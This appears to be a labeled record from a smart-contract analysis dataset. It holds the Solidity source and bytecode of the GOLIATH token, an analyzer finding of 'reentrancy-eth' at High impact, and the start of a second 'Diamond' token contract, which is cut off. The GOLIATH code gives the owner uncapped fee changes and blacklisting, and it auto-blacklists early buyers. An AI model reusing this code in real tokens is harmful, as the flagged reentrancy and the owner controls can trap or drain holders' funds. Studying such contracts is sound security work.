function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Goliath is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GOLIATH";//
string private constant _symbol = "GOLIATH";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 4;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 4;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xB41bE5A9334a0e959bdb1f887A9593Ebcb76a7FB);//
address payable private _marketingAddress = payable(0xB41bE5A9334a0e959bdb1f887A9593Ebcb76a7FB);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000 * 10**9; // 0.5%
uint256 public _maxWalletSize = 2000000 * 10**9; // 2%
uint256 public _swapTokensAtAmount = 500000 * 10**9; // 0.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610515578063dd62ed3e1461052b578063ea1644d514610571578063f2fde38b1461059157600080fd5b8063a9059cbb14610490578063bfd79284146104b0578063c3c8cd80146104e0578063c492f046146104f557600080fd5b80638f9a55c0116100d15780638f9a55c01461043a57806395d89b41146101fe57806398a5c31514610450578063a2a957bb1461047057600080fd5b80637d1db4a5146103e65780638da5cb5b146103fc5780638f70ccf71461041a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b2f565b6105b1565b005b34801561020a57600080fd5b50604080518082018252600781526608e9e989282a8960cb1b602082015290516102349190611c61565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a7f565b610650565b6040519015158152602001610234565b34801561027957600080fd5b5060155461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b5067016345785d8a00005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a3e565b610667565b3480156102f657600080fd5b506102bc60195481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060165461028d906001600160a01b031681565b34801561034857600080fd5b506101fc6103573660046119cb565b6106d0565b34801561036857600080fd5b506101fc610377366004611bfb565b61071b565b34801561038857600080fd5b506101fc610763565b34801561039d57600080fd5b506102bc6103ac3660046119cb565b6107ae565b3480156103bd57600080fd5b506101fc6107d0565b3480156103d257600080fd5b506101fc6103e1366004611c16565b610844565b3480156103f257600080fd5b506102bc60175481565b34801561040857600080fd5b506000546001600160a01b031661028d565b34801561042657600080fd5b506101fc610435366004611bfb565b610873565b34801561044657600080fd5b506102bc60185481565b34801561045c57600080fd5b506101fc61046b366004611c16565b6108bf565b34801561047c57600080fd5b506101fc61048b366004611c2f565b6108ee565b34801561049c57600080fd5b5061025d6104ab366004611a7f565b61092c565b3480156104bc57600080fd5b5061025d6104cb3660046119cb565b60116020526000908152604090205460ff1681565b3480156104ec57600080fd5b506101fc610939565b34801561050157600080fd5b506101fc610510366004611aab565b61098d565b34801561052157600080fd5b506102bc60085481565b34801561053757600080fd5b506102bc610546366004611a05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057d57600080fd5b506101fc61058c366004611c16565b610a2e565b34801561059d57600080fd5b506101fc6105ac3660046119cb565b610a5d565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016105db90611cb6565b60405180910390fd5b60005b815181101561064c5760016011600084848151811061060857610608611dfd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064481611dcc565b9150506105e7565b5050565b600061065d338484610b47565b5060015b92915050565b6000610674848484610c6b565b6106c684336106c185604051806060016040528060288152602001611e3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611229565b610b47565b5060019392505050565b6000546001600160a01b031633146106fa5760405162461bcd60e51b81526004016105db90611cb6565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107455760405162461bcd60e51b81526004016105db90611cb6565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061079857506014546001600160a01b0316336001600160a01b0316145b6107a157600080fd5b476107ab81611263565b50565b6001600160a01b038116600090815260026020526040812054610661906112e8565b6000546001600160a01b031633146107fa5760405162461bcd60e51b81526004016105db90611cb6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086e5760405162461bcd60e51b81526004016105db90611cb6565b601755565b6000546001600160a01b0316331461089d5760405162461bcd60e51b81526004016105db90611cb6565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108e95760405162461bcd60e51b81526004016105db90611cb6565b601955565b6000546001600160a01b031633146109185760405162461bcd60e51b81526004016105db90611cb6565b600993909355600b91909155600a55600c55565b600061065d338484610c6b565b6013546001600160a01b0316336001600160a01b0316148061096e57506014546001600160a01b0316336001600160a01b0316145b61097757600080fd5b6000610982306107ae565b90506107ab8161136c565b6000546001600160a01b031633146109b75760405162461bcd60e51b81526004016105db90611cb6565b60005b82811015610a285781600560008686858181106109d9576109d9611dfd565b90506020020160208101906109ee91906119cb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2081611dcc565b9150506109ba565b50505050565b6000546001600160a01b03163314610a585760405162461bcd60e51b81526004016105db90611cb6565b601855565b6000546001600160a01b03163314610a875760405162461bcd60e51b81526004016105db90611cb6565b6001600160a01b038116610aec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105db565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105db565b6001600160a01b038216610c0a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105db565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105db565b6001600160a01b038216610d315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105db565b60008111610d935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105db565b6000546001600160a01b03848116911614801590610dbf57506000546001600160a01b03838116911614155b1561112257601654600160a01b900460ff16610e58576000546001600160a01b03848116911614610e585760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105db565b601754811115610eaa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105db565b6001600160a01b03831660009081526011602052604090205460ff16158015610eec57506001600160a01b03821660009081526011602052604090205460ff16155b610f445760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105db565b600854610f52906002611d5c565b4311158015610f6e57506016546001600160a01b038481169116145b8015610f8857506015546001600160a01b03838116911614155b8015610f9d57506001600160a01b0382163014155b15610fc6576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461104b5760185481610fe8846107ae565b610ff29190611d5c565b1061104b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105db565b6000611056306107ae565b60195460175491925082101590821061106f5760175491505b8080156110865750601654600160a81b900460ff16155b80156110a057506016546001600160a01b03868116911614155b80156110b55750601654600160b01b900460ff165b80156110da57506001600160a01b03851660009081526005602052604090205460ff16155b80156110ff57506001600160a01b03841660009081526005602052604090205460ff16155b1561111f5761110d8261136c565b47801561111d5761111d47611263565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061116457506001600160a01b03831660009081526005602052604090205460ff165b8061119657506016546001600160a01b0385811691161480159061119657506016546001600160a01b03848116911614155b156111a35750600061121d565b6016546001600160a01b0385811691161480156111ce57506015546001600160a01b03848116911614155b156111e057600954600d55600a54600e555b6016546001600160a01b03848116911614801561120b57506015546001600160a01b03858116911614155b1561121d57600b54600d55600c54600e555b610a28848484846114f5565b6000818484111561124d5760405162461bcd60e51b81526004016105db9190611c61565b50600061125a8486611db5565b95945050505050565b6013546001600160a01b03166108fc61127d836002611523565b6040518115909202916000818181858888f193505050501580156112a5573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112c0836002611523565b6040518115909202916000818181858888f1935050505015801561064c573d6000803e3d6000fd5b600060065482111561134f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105db565b6000611359611565565b90506113658382611523565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b4576113b4611dfd565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140857600080fd5b505afa15801561141c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144091906119e8565b8160018151811061145357611453611dfd565b6001600160a01b0392831660209182029290920101526015546114799130911684610b47565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b2908590600090869030904290600401611ceb565b600060405180830381600087803b1580156114cc57600080fd5b505af11580156114e0573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061150257611502611588565b61150d8484846115b6565b80610a2857610a28600f54600d55601054600e55565b600061136583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ad565b60008060006115726116db565b90925090506115818282611523565b9250505090565b600d541580156115985750600e54155b1561159f57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115c88761171b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fa9087611778565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162990866117ba565b6001600160a01b03891660009081526002602052604090205561164b81611819565b6116558483611863565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169a91815260200190565b60405180910390a3505050505050505050565b600081836116ce5760405162461bcd60e51b81526004016105db9190611c61565b50600061125a8486611d74565b600654600090819067016345785d8a00006116f68282611523565b8210156117125750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006117388a600d54600e54611887565b9250925092506000611748611565565b9050600080600061175b8e8787876118dc565b919e509c509a509598509396509194505050505091939550919395565b600061136583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611229565b6000806117c78385611d5c565b9050838110156113655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105db565b6000611823611565565b90506000611831838361192c565b3060009081526002602052604090205490915061184e90826117ba565b30600090815260026020526040902055505050565b6006546118709083611778565b60065560075461188090826117ba565b6007555050565b60008080806118a1606461189b898961192c565b90611523565b905060006118b4606461189b8a8961192c565b905060006118cc826118c68b86611778565b90611778565b9992985090965090945050505050565b60008080806118eb888661192c565b905060006118f9888761192c565b90506000611907888861192c565b90506000611919826118c68686611778565b939b939a50919850919650505050505050565b60008261193b57506000610661565b60006119478385611d96565b9050826119548583611d74565b146113655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105db565b80356119b681611e29565b919050565b803580151581146119b657600080fd5b6000602082840312156119dd57600080fd5b813561136581611e29565b6000602082840312156119fa57600080fd5b815161136581611e29565b60008060408385031215611a1857600080fd5b8235611a2381611e29565b91506020830135611a3381611e29565b809150509250929050565b600080600060608486031215611a5357600080fd5b8335611a5e81611e29565b92506020840135611a6e81611e29565b929592945050506040919091013590565b60008060408385031215611a9257600080fd5b8235611a9d81611e29565b946020939093013593505050565b600080600060408486031215611ac057600080fd5b833567ffffffffffffffff80821115611ad857600080fd5b818601915086601f830112611aec57600080fd5b813581811115611afb57600080fd5b8760208260051b8501011115611b1057600080fd5b602092830195509350611b2691860190506119bb565b90509250925092565b60006020808385031215611b4257600080fd5b823567ffffffffffffffff80821115611b5a57600080fd5b818501915085601f830112611b6e57600080fd5b813581811115611b8057611b80611e13565b8060051b604051601f19603f83011681018181108582111715611ba557611ba5611e13565b604052828152858101935084860182860187018a1015611bc457600080fd5b600095505b83861015611bee57611bda816119ab565b855260019590950194938601938601611bc9565b5098975050505050505050565b600060208284031215611c0d57600080fd5b611365826119bb565b600060208284031215611c2857600080fd5b5035919050565b60008060008060808587031215611c4557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c8e57858101830151858201604001528201611c72565b81811115611ca0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3b5784516001600160a01b031683529383019391830191600101611d16565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d6f57611d6f611de7565b500190565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611de7565b500290565b600082821015611dc757611dc7611de7565b500390565b6000600019821415611de057611de0611de7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae1bf30996d7130b80bd71a1502b3926f52307a55d4edfea51d5ad4e54e9a3a064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,076 |
0x887c0496453dea18ed6caf7719e1704e19de9fd1
|
/**
▶ If you make the biggest buy (in tokens) you will hold the Diamond for one hour, and collect 6% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the Diamond.
▶ If you sell any tokens at all at any point you are not worthy of the Diamond.
▶ If someone beats your record, they steal you the Diamond.
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract Diamond is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "Diamond";
string constant _symbol = "Diamond";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 10000 * (10**_decimals);
uint256 public biggestBuy = 0;
uint256 public lastRingChange = 0;
uint256 public resetPeriod = 1 hours;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 4;
uint256 public ringFee = 6;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public Ring;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 private _maxTxAmount = _totalSupply / 100;
uint256 private _maxWalletAmount = _totalSupply / 50;
uint256 public swapThreshold = _totalSupply / 100;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
event NewRing(address ring, uint256 buyAmount);
event RingPayout(address ring, uint256 amountETH);
event RingSold(address ring, uint256 amountETH);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
